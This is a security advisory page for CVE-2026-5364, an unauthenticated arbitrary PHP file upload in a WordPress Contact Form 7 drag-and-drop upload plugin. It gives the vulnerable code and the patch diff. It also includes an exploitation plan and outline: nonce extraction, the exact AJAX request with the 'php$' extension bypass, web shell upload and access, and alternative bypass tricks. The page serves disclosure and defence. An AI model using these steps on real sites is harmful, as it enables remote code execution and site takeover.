CVE-2026-5364

Drag and Drop File Upload for Contact Form 7 <= 1.1.3 - Unauthenticated Arbitrary File Upload via sanitize_file_name Bypass

highUnrestricted Upload of File with Dangerous Type
8.1
CVSS Score
8.1
CVSS Score
high
Severity
1.1.4
Patched in
1d
Time to patch

Description

The Drag and Drop File Upload for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file upload in versions up to, and including, 1.1.3. This is due to the plugin extracting the file extension before sanitization occurs and allowing the file type parameter to be controlled by the attacker rather than being restricted to administrator-configured values, which when combined with the fact that validation occurs on the unsanitized extension while the file is saved with a sanitized extension, allows special characters like '$' to be stripped during the save process. This makes it possible for unauthenticated attackers to upload arbitrary PHP files and potentially achieve remote code execution, however, an .htaccess file and name randomization is in place which restricts real-world exploitability.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.1.3
PublishedApril 23, 2026
Last updatedApril 24, 2026

What Changed in the Fix

Changes introduced in v1.1.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-5364 ## 1. Vulnerability Summary The **Drag and Drop File Upload for Contact Form 7** plugin (up to 1.1.3) contains an unauthenticated arbitrary file upload vulnerability. The flaw exists in the AJAX handler `cf7_file_uploads` because it validates the file ex…

Show full research plan

Exploitation Research Plan - CVE-2026-5364

1. Vulnerability Summary

The Drag and Drop File Upload for Contact Form 7 plugin (up to 1.1.3) contains an unauthenticated arbitrary file upload vulnerability. The flaw exists in the AJAX handler cf7_file_uploads because it validates the file extension against an attacker-supplied list of "allowed" types before the filename is sanitized by WordPress.

An attacker can provide a filename with a trailing special character (like exploit.php$) and set the allowed types to include that specific extension (php$). The validation passes because php$ is not in the plugin's hardcoded blacklist. However, when the file is saved, WordPress's wp_unique_filename (via sanitize_file_name) strips the trailing $, resulting in a .php file on the server.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: cf7_file_uploads (registered for nopriv users in backend/index.php)
  • Vulnerable Parameter: $_FILES['file'] (filename) and $_REQUEST['type'] (allowed extensions).
  • Authentication: Unauthenticated.
  • Preconditions:
    • The plugin must be active.
    • A valid nonce for the cf7_file_upload action must be obtained.

3. Code Flow

  1. Entry Point: Superaddons_Cf7_File_Uploads_Backend::cf7_file_uploads() is triggered via admin-ajax.php.
  2. Nonce Bypass/Check: It verifies a nonce using wp_verify_nonce(..., 'cf7_file_upload').
  3. Extension Extraction: $file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
    • If filename is shell.php$, $file_extension becomes php$.
  4. Filename Preparation: $filename = uniqid() . '.' . $file_extension; (e.g., 65a1b2c3.php$).
  5. Sanitization Sink: $filename = wp_unique_filename( $uploads_dir, $filename );.
    • wp_unique_filename calls sanitize_file_name('65a1b2c3.php$'), which strips the $ to return 65a1b2c3.php.
  6. Validation Check: $this->is_file_type_valid($type, $file) is called.
    • Inside is_file_type_valid, it re-extracts the extension from the original $file['name'] (php$).
    • It checks if php$ is in the $type parameter (attacker-controlled).
    • It checks if php$ is in the $blacklist (get_blacklist_file_ext()). Since php$ is not explicitly listed (only php, php3, etc.), it passes.
  7. File Save: move_uploaded_file( $file['tmp_name'], $new_file ) saves the file as .php.
  8. Information Disclosure: The JSON response returns the full URL to the uploaded file.

4. Nonce Acquisition Strategy

The nonce is generated on the frontend and localized for the script cf7_file_uploads.

  1. Create Test Page: Since the scripts are enqueued on wp_enqueue_scripts, they should appear on most frontend pages. To be certain, create a page with a Contact Form 7 shortcode.
    • Command: wp post create --post_type=page --post_status=publish --post_title="Upload Form" --post_content='[contact-form-7 id="DEFAULT_FORM_ID"]'
  2. Navigate and Extract:
    • Use browser_navigate to visit the newly created page.
    • Use browser_eval to extract the nonce from the global JavaScript object defined in frontend/index.php.
    • Variable: window.cf7_file_uploads.nonce

5. Exploitation Strategy

Step 1: Obtain Nonce

Access the site frontend and read window.cf7_file_uploads.nonce.

Step 2: Perform Unauthenticated Upload

Send a multipart/form-data request to admin-ajax.php.

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Parameters:
    • action: cf7_file_uploads
    • nonce: [EXTRACTED_NONCE]
    • size: 10 (Maximum size in MB)
    • type: php$ (This matches our payload extension to bypass validation)
    • type_upload: 0 (Saves to cf7-uploads-custom directory)
    • file: (The PHP file payload)
      • filename: exploit.php$
      • content: <?php echo "POC_SUCCESS"; ?>

Step 3: Parse Response

The response will be a JSON object:

{
  "status": "ok",
  "text": "http://localhost:8080/wp-content/uploads/cf7-uploads-custom/65a1b2c3.php"
}

Note: The trailing $ is gone in the response because it reflects the actual sanitized filename on disk.

Step 4: Verify Execution

Access the URL provided in the text field.

6. Test Data Setup

  1. Plugins: Ensure contact-form-7 and drag-and-drop-file-upload-for-contact-form-7 are installed and active.
  2. Contact Form: Identify a valid Contact Form 7 ID.
  3. Page: Create a public page with the form.
    FORM_ID=$(wp post list --post_type=wpcf7_contact_form --format=ids | awk '{print $1}')
    wp post create --post_type=page --post_status=publish --post_content="[contact-form-7 id=\"$FORM_ID\"]"
    

7. Expected Results

  • The AJAX request should return {"status":"ok", "text":".../exploit.php"}.
  • Navigating to the returned URL should output POC_SUCCESS.
  • Note: If the server configuration prevents PHP execution in the uploads directory via the generated .htaccess (which sets Content-Disposition: attachment), the file will still be successfully uploaded as .php, confirming the "Arbitrary File Upload" vulnerability.

8. Verification Steps

After the exploit, use WP-CLI to check the filesystem:

# List files in the custom upload directory
ls -la /var/www/html/wp-content/uploads/cf7-uploads-custom/
# Check content of the uploaded php file
cat /var/www/html/wp-content/uploads/cf7-uploads-custom/*.php

9. Alternative Approaches

If php$ is blocked by server-level security or if pathinfo behaves differently:

  • Try php. (trailing dot and space) if the OS is Windows-based.
  • Try php%00.jpg (Null byte injection) if the PHP version is very old (unlikely for this plugin's era).
  • Try different special characters like exploit.php/ or exploit.php. which sanitize_file_name also strips.
  • If type_upload=0 is restricted, try type_upload=1 which saves to cf7-uploads-save.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Drag and Drop File Upload for Contact Form 7 plugin is vulnerable to unauthenticated arbitrary file uploads due to an inconsistency between file extension validation and filename sanitization. Attackers can bypass the file type blacklist by appending special characters (like '$') to the filename, which are then stripped by the WordPress sanitization function after validation but before the file is saved to disk.

Vulnerable Code

// backend/index.php (v1.1.0)

private function is_file_type_valid( $file_types, $file ) {
    // File type validation
    if ( $file_types == "" )  {
        $file_types = 'jpg|jpeg|png|gif|webp|pdf|doc|docx|ppt|pptx|odt|avi|ogg|m4a|mov|mp3|mp4|mpg|wav|wmv';
    }
    $file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
    $file_types_meta = explode( '|', $file_types );
    $file_types_meta = array_map( 'trim', $file_types_meta );
    $file_types_meta = array_map( 'strtolower', $file_types_meta );
    $file_extension = strtolower( $file_extension );
    return ( in_array( $file_extension, $file_types_meta ) && ! in_array( $file_extension, $this->get_blacklist_file_ext() ) );
}

---

function cf7_file_uploads(){
    if ( wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST[ 'nonce' ] ) ), 'cf7_file_upload' ) ) {
        $file = $_FILES["file"];
        $size = sanitize_text_field( $_REQUEST["size"] ); 
        $type = sanitize_text_field( $_REQUEST["type"] ); 
        $type_upload = sanitize_text_field( $_REQUEST["type_upload"] );
        // ...
        $uploads_dir = $this->get_ensure_upload_dir($type_upload);
        $file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
        $filename = uniqid() . '.' . $file_extension;
        $filename = wp_unique_filename( $uploads_dir, $filename ); // This strips characters like '$'
        $new_file = trailingslashit( $uploads_dir ) . $filename; 
        // valid file type?
        if(!$this->is_file_type_valid($type,$file)){ // Validates against original unsanitized extension
            wp_send_json( array("status"=>"not","text"=>esc_html__( 'This file type is not allowed.', 'drag-and-drop-file-upload-for-contact-form-7' ) ) );
            die();
        }
        // ...
        if ( is_dir( $uploads_dir ) && is_writable( $uploads_dir ) ) {
            $move_new_file = @ move_uploaded_file( $file['tmp_name'], $new_file );

Security Fix

Only in /home/deploy/wp-safety.org/data/plugin-versions/drag-and-drop-file-upload-for-contact-form-7/1.1.0: add-ons.php
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/drag-and-drop-file-upload-for-contact-form-7/1.1.0/backend/index.php /home/deploy/wp-safety.org/data/plugin-versions/drag-and-drop-file-upload-for-contact-form-7/1.1.4/backend/index.php
--- /home/deploy/wp-safety.org/data/plugin-versions/drag-and-drop-file-upload-for-contact-form-7/1.1.0/backend/index.php	2025-05-15 03:20:58.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/drag-and-drop-file-upload-for-contact-form-7/1.1.4/backend/index.php	2026-04-03 07:35:04.000000000 +0000
@@ -121,114 +138,98 @@
-    private function is_file_type_valid( $file_types, $file ) {
-		// File type validation
-		if ( $file_types == "" )  {
-			$file_types = 'jpg|jpeg|png|gif|webp|pdf|doc|docx|ppt|pptx|odt|avi|ogg|m4a|mov|mp3|mp4|mpg|wav|wmv';
-		}
-		$file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
-		$file_types_meta = explode( '|', $file_types );
-		$file_types_meta = array_map( 'trim', $file_types_meta );
-		$file_types_meta = array_map( 'strtolower', $file_types_meta );
-		$file_extension = strtolower( $file_extension );
-		return ( in_array( $file_extension, $file_types_meta ) && ! in_array( $file_extension, $this->get_blacklist_file_ext() ) );
-	}
-function cf7_file_uploads(){
-    if ( wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST[ 'nonce' ] ) ), 'cf7_file_upload' ) ) {
-        $file = $_FILES["file"];
-        $size = sanitize_text_field( $_REQUEST["size"] ); 
-        $type = sanitize_text_field( $_REQUEST["type"] ); 
-        $type_upload = sanitize_text_field( $_REQUEST["type_upload"] );
-        if($type_upload == 1 || $type_upload == 2){
-            //save file
-        }else{
-            $type_upload = 0;  
-        }
-        $uploads_dir = $this->get_ensure_upload_dir($type_upload);
-        $file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
-        $filename = uniqid() . '.' . $file_extension;
-        $filename = wp_unique_filename( $uploads_dir, $filename );
-        $new_file = trailingslashit( $uploads_dir ) . $filename; 
-        // valid file type?
-        if(!$this->is_file_type_valid($type,$file)){
-            wp_send_json( array("status"=>"not","text"=>esc_html__( 'This file type is not allowed.', 'drag-and-drop-file-upload-for-contact-form-7' ) ) );
-            die();
-        }
-        // allowed file size?
-        if ( ! $this->is_file_size_valid( $size, $file ) ) {
-            wp_send_json( array("status"=>"not","text"=>esc_html__( 'This file exceeds the maximum allowed size.', 'drag-and-drop-file-upload-for-contact-form-7' ) ) );
-            die();
-        }
-        if ( is_dir( $uploads_dir ) && is_writable( $uploads_dir ) ) {
-            $move_new_file = @ move_uploaded_file( $file['tmp_name'], $new_file );
-            if ( false !== $move_new_file ) {
-                // Set correct file permissions.
-                $perms = 0644;
-                @ chmod( $new_file, $perms );
-                wp_send_json( array("status"=>"ok","text"=>$this->get_file_url( $filename ,$type_upload ) ) );
-            } else {
-                wp_send_json( array("status"=>"not","text"=>esc_html__( 'There was an error while trying to upload your file.', 'drag-and-drop-file-upload-for-contact-form-7' ) ) );
-            }
-        }else{
-            wp_send_json( array("status"=>"not","text"=>esc_html__( 'Upload directory is not writable or does not exist.', 'drag-and-drop-file-upload-for-contact-form-7' ) ) );
-        }
-    }
-}
+    private function is_file_type_valid($file_types, $file)
+    {
+        if (empty($file_types)) {
+            $file_types = 'jpg|jpeg|png|gif|webp|pdf|doc|docx|ppt|pptx|odt|avi|ogg|m4a|mov|mp3|mp4|mpg|wav|wmv';
+        }
+        $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
+        $allowed = array_map('trim', explode('|', strtolower($file_types)));
+        return (in_array($extension, $allowed, true) && !in_array($extension, $this->get_blacklist_file_ext(), true));
+    }
+    /**
+     * Secure AJAX handler for file uploads using WordPress API.
+     */
+    public function cf7_file_uploads()
+    {
+        check_ajax_referer('cf7_file_upload', 'nonce');
+        if (!isset($_FILES['file']) || empty($_FILES['file']['name'])) {
+            wp_send_json_error(array("message" => esc_html__('No file uploaded.', 'drag-and-drop-file-upload-for-contact-form-7')));
+        }
+        $file         = $_FILES['file']; //phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+        $size_limit   = isset($_POST['size']) ? sanitize_text_field(wp_unslash($_POST['size'])) : ''; //phpcs:ignore WordPress.Security.NonceVerification.Missing
+        $type_limit   = isset($_POST['type']) ? sanitize_text_field(wp_unslash($_POST['type'])) : ''; //phpcs:ignore WordPress.Security.NonceVerification.Missing
+        $type_upload  = isset($_POST['type_upload']) ? absint($_POST['type_upload']) : 0; //phpcs:ignore WordPress.Security.NonceVerification.Missing
+        // Security Validations
+        if (!$this->is_file_type_valid($type_limit, $file)) {
+            wp_send_json_error(array("message" => esc_html__('This file type is not allowed.', 'drag-and-drop-file-upload-for-contact-form-7')));
+        }
+        if (!$this->is_file_size_valid($size_limit, $file)) {
+            wp_send_json_error(array("message" => esc_html__('This file exceeds the maximum allowed size.', 'drag-and-drop-file-upload-for-contact-form-7')));
+        }
+        if (!function_exists('wp_handle_upload')) {
+            require_once(ABSPATH . 'wp-admin/includes/file.php');
+        }
+        $uploads_dir = $this->get_ensure_upload_dir($type_upload);
+        // Hook into WordPress upload directory to use our custom path
+        $upload_dir_filter = function ($uploads) use ($uploads_dir) {
+            $uploads['path']    = $uploads_dir;
+            $uploads['basedir'] = $uploads_dir;
+            return $uploads;
+        };
+        add_filter('upload_dir', $upload_dir_filter);
+        $movefile = wp_handle_upload($file, array('test_form' => false));
+        remove_filter('upload_dir', $upload_dir_filter);
+        if ($movefile && !isset($movefile['error'])) {
+            $filename = basename($movefile['file']);
+            wp_send_json_success(array(
+                "status" => "ok",
+                "text"   => $this->get_file_url($filename, $type_upload)
+            ));
+        } else {
+            wp_send_json_error(array("message" => $movefile['error']));
+        }
+    }

Exploit Outline

1. **Obtain Nonce**: Access any frontend page on the site where a Contact Form 7 form is present. The nonce for the file upload AJAX action is localized in the JavaScript object `window.cf7_file_uploads.nonce`. 2. **Craft Payload**: Create a PHP web shell file but name it with a trailing special character, for example: `shell.php$`. 3. **Prepare AJAX Request**: Construct a multipart/form-data POST request to `/wp-admin/admin-ajax.php`. The request should include the following parameters: - `action`: `cf7_file_uploads` - `nonce`: The extracted nonce. - `file`: The web shell content with the filename `shell.php$`. - `type`: `php$` (This matches the extension extracted by the plugin and bypasses the hardcoded blacklist which only checks for `php`, `phtml`, etc.). - `size`: A sufficiently large integer (e.g., 10). 4. **Execution Flow**: The server-side code extracts the extension `php$` from the file and checks if it's in the attacker-supplied `type` parameter. Because `php$` is not in the plugin's internal extension blacklist, validation passes. The plugin then calls `wp_unique_filename`, which utilizes WordPress's `sanitize_file_name` to strip the `$` character. The file is saved as `[unique_id].php`. 5. **Access Shell**: The AJAX response returns the full URL of the uploaded file. Access this URL to execute arbitrary PHP code.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.